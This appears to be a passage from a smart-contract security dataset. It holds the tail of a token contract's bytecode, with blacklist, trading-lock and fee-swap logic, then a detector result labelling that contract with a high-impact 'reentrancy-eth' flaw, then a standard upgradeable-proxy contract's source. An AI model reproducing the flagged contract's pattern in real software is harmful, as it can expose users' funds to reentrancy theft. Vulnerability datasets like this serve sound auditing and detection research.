ff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ce90613493565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173e90613525565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118259190612f98565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611899906135b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611912576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190990613649565b60405180910390fd5b60008111611955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194c906136db565b60405180910390fd5b61195d610eb2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119cb575061199b610eb2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db657601560149054906101000a900460ff16611a5a576119ec610eb2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a509061376d565b60405180910390fd5b5b601654811115611a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a96906137d9565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b435750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b799061386b565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2f5760175481611be484610c51565b611bee919061388b565b10611c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2590613953565b60405180910390fd5b5b6000611c3a30610c51565b9050600060185482101590506016548210611c555760165491505b808015611c6d575060158054906101000a900460ff16155b8015611cc75750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cdf5750601560169054906101000a900460ff165b8015611d355750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8b5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db357611d99826121f5565b60004790506000811115611db157611db04761211b565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f105750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1e57600090506120a5565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc95750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe157600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208c5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a457600a54600c81905550600b54600d819055505b5b6120b18484848461247b565b50505050565b60008383111582906120ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f69190612e41565b60405180910390fd5b506000838561210e9190613973565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612183573d6000803e3d6000fd5b5050565b60006006548211156121ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c590613a19565b60405180910390fd5b60006121d86124a8565b90506121ed81846124d390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222c5761222b612bcf565b5b60405190808252806020026020018201604052801561225a5781602001602082028036833780820191505090505b5090503081600081518110612272576122716132e8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231457600080fd5b505afa158015612328573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234c9190613a4e565b816001815181106123605761235f6132e8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c730601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611667565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242b959493929190613b74565b600060405180830381600087803b15801561244557600080fd5b505af1158015612459573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124895761248861251d565b5b612494848484612560565b806124a2576124a161272b565b5b50505050565b60008060006124b561273f565b915091506124cc81836124d390919063ffffffff16565b9250505090565b600061251583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127a1565b905092915050565b6000600c5414801561253157506000600d54145b1561253b5761255e565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257287612804565b9550955095509550955095506125d086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b181612914565b6126bb84836129d1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127189190612f98565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000683635c9adc5dea000009050612775683635c9adc5dea000006006546124d390919063ffffffff16565b82101561279457600654683635c9adc5dea0000093509350505061279d565b81819350935050505b9091565b600080831182906127e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127df9190612e41565b60405180910390fd5b50600083856127f79190613bfd565b9050809150509392505050565b60008060008060008060008060006128218a600c54600d54612a0b565b92509250925060006128316124a8565b905060008060006128448e878787612aa1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128ae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b7565b905092915050565b60008082846128c5919061388b565b90508381101561290a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290190613c7a565b60405180910390fd5b8091505092915050565b600061291e6124a8565b905060006129358284612b2a90919063ffffffff16565b905061298981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e68260065461286c90919063ffffffff16565b600681905550612a01816007546128b690919063ffffffff16565b6007819055505050565b600080600080612a376064612a29888a612b2a90919063ffffffff16565b6124d390919063ffffffff16565b90506000612a616064612a53888b612b2a90919063ffffffff16565b6124d390919063ffffffff16565b90506000612a8a82612a7c858c61286c90919063ffffffff16565b61286c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612aba8589612b2a90919063ffffffff16565b90506000612ad18689612b2a90919063ffffffff16565b90506000612ae88789612b2a90919063ffffffff16565b90506000612b1182612b03858761286c90919063ffffffff16565b61286c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b3d5760009050612b9f565b60008284612b4b9190613c9a565b9050828482612b5a9190613bfd565b14612b9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b9190613d66565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0782612bbe565b810181811067ffffffffffffffff82111715612c2657612c25612bcf565b5b80604052505050565b6000612c39612ba5565b9050612c458282612bfe565b919050565b600067ffffffffffffffff821115612c6557612c64612bcf565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca682612c7b565b9050919050565b612cb681612c9b565b8114612cc157600080fd5b50565b600081359050612cd381612cad565b92915050565b6000612cec612ce784612c4a565b612c2f565b90508083825260208201905060208402830185811115612d0f57612d0e612c76565b5b835b81811015612d385780612d248882612cc4565b845260208401935050602081019050612d11565b5050509392505050565b600082601f830112612d5757612d56612bb9565b5b8135612d67848260208601612cd9565b91505092915050565b600060208284031215612d8657612d85612baf565b5b600082013567ffffffffffffffff811115612da457612da3612bb4565b5b612db084828501612d42565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612df3578082015181840152602081019050612dd8565b83811115612e02576000848401525b50505050565b6000612e1382612db9565b612e1d8185612dc4565b9350612e2d818560208601612dd5565b612e3681612bbe565b840191505092915050565b60006020820190508181036000830152612e5b8184612e08565b905092915050565b6000819050919050565b612e7681612e63565b8114612e8157600080fd5b50565b600081359050612e9381612e6d565b92915050565b60008060408385031215612eb057612eaf612baf565b5b6000612ebe85828601612cc4565b9250506020612ecf85828601612e84565b9150509250929050565b60008115159050919050565b612eee81612ed9565b82525050565b6000602082019050612f096000830184612ee5565b92915050565b6000819050919050565b6000612f34612f2f612f2a84612c7b565b612f0f565b612c7b565b9050919050565b6000612f4682612f19565b9050919050565b6000612f5882612f3b565b9050919050565b612f6881612f4d565b82525050565b6000602082019050612f836000830184612f5f565b92915050565b612f9281612e63565b82525050565b6000602082019050612fad6000830184612f89565b92915050565b600080600060608486031215612fcc57612fcb612baf565b5b6000612fda86828701612cc4565b9350506020612feb86828701612cc4565b9250506040612ffc86828701612e84565b9150509250925092565b600060ff82169050919050565b61301c81613006565b82525050565b60006020820190506130376000830184613013565b92915050565b61304681612c9b565b82525050565b6000602082019050613061600083018461303d565b92915050565b60006020828403121561307d5761307c612baf565b5b600061308b84828501612cc4565b91505092915050565b61309d81612ed9565b81146130a857600080fd5b50565b6000813590506130ba81613094565b92915050565b6000602082840312156130d6576130d5612baf565b5b60006130e4848285016130ab565b91505092915050565b60006020828403121561310357613102612baf565b5b600061311184828501612e84565b91505092915050565b6000806000806080858703121561313457613133612baf565b5b600061314287828801612e84565b945050602061315387828801612e84565b935050604061316487828801612e84565b925050606061317587828801612e84565b91505092959194509250565b600080fd5b60008083601f84011261319c5761319b612bb9565b5b8235905067ffffffffffffffff8111156131b9576131b8613181565b5b6020830191508360208202830111156131d5576131d4612c76565b5b9250929050565b6000806000604084860312156131f5576131f4612baf565b5b600084013567ffffffffffffffff81111561321357613212612bb4565b5b61321f86828701613186565b93509350506020613232868287016130ab565b9150509250925092565b6000806040838503121561325357613252612baf565b5b600061326185828601612cc4565b925050602061327285828601612cc4565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132b2602083612dc4565b91506132bd8261327c565b602082019050919050565b600060208201905081810360008301526132e1816132a5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061335182612e63565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561338457613383613317565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133eb602683612dc4565b91506133f68261338f565b604082019050919050565b6000602082019050818103600083015261341a816133de565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061347d602483612dc4565b915061348882613421565b604082019050919050565b600060208201905081810360008301526134ac81613470565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350f602283612dc4565b915061351a826134b3565b604082019050919050565b6000602082019050818103600083015261353e81613502565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006135a1602583612dc4565b91506135ac82613545565b604082019050919050565b600060208201905081810360008301526135d081613594565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613633602383612dc4565b915061363e826135d7565b604082019050919050565b6000602082019050818103600083015261366281613626565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c5602983612dc4565b91506136d082613669565b604082019050919050565b600060208201905081810360008301526136f4816136b8565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613757603f83612dc4565b9150613762826136fb565b604082019050919050565b600060208201905081810360008301526137868161374a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137c3601c83612dc4565b91506137ce8261378d565b602082019050919050565b600060208201905081810360008301526137f2816137b6565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613855602383612dc4565b9150613860826137f9565b604082019050919050565b6000602082019050818103600083015261388481613848565b9050919050565b600061389682612e63565b91506138a183612e63565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d6576138d5613317565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b600061393d602383612dc4565b9150613948826138e1565b604082019050919050565b6000602082019050818103600083015261396c81613930565b9050919050565b600061397e82612e63565b915061398983612e63565b92508282101561399c5761399b613317565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613a03602a83612dc4565b9150613a0e826139a7565b604082019050919050565b60006020820190508181036000830152613a32816139f6565b9050919050565b600081519050613a4881612cad565b92915050565b600060208284031215613a6457613a63612baf565b5b6000613a7284828501613a39565b91505092915050565b6000819050919050565b6000613aa0613a9b613a9684613a7b565b612f0f565b612e63565b9050919050565b613ab081613a85565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613aeb81612c9b565b82525050565b6000613afd8383613ae2565b60208301905092915050565b6000602082019050919050565b6000613b2182613ab6565b613b2b8185613ac1565b9350613b3683613ad2565b8060005b83811015613b67578151613b4e8882613af1565b9750613b5983613b09565b925050600181019050613b3a565b5085935050505092915050565b600060a082019050613b896000830188612f89565b613b966020830187613aa7565b8181036040830152613ba88186613b16565b9050613bb7606083018561303d565b613bc46080830184612f89565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0882612e63565b9150613c1383612e63565b925082613c2357613c22613bce565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c64601b83612dc4565b9150613c6f82613c2e565b602082019050919050565b60006020820190508181036000830152613c9381613c57565b9050919050565b6000613ca582612e63565b9150613cb083612e63565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce957613ce8613317565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d50602183612dc4565b9150613d5b82613cf4565b604082019050919050565b60006020820190508181036000830152613d7f81613d43565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207be3cc2dd33e444e1dac0c33961bd48a41d38397c2fe9ddff4c9754a572e7ea164736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,271 |
0x187e8e5c70457C756A5779AEB2227eF098bCA776
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/proxy/UpgradeabilityProxy.sol
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
// File: contracts/proxy/AdminUpgradeabilityProxy.sol
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
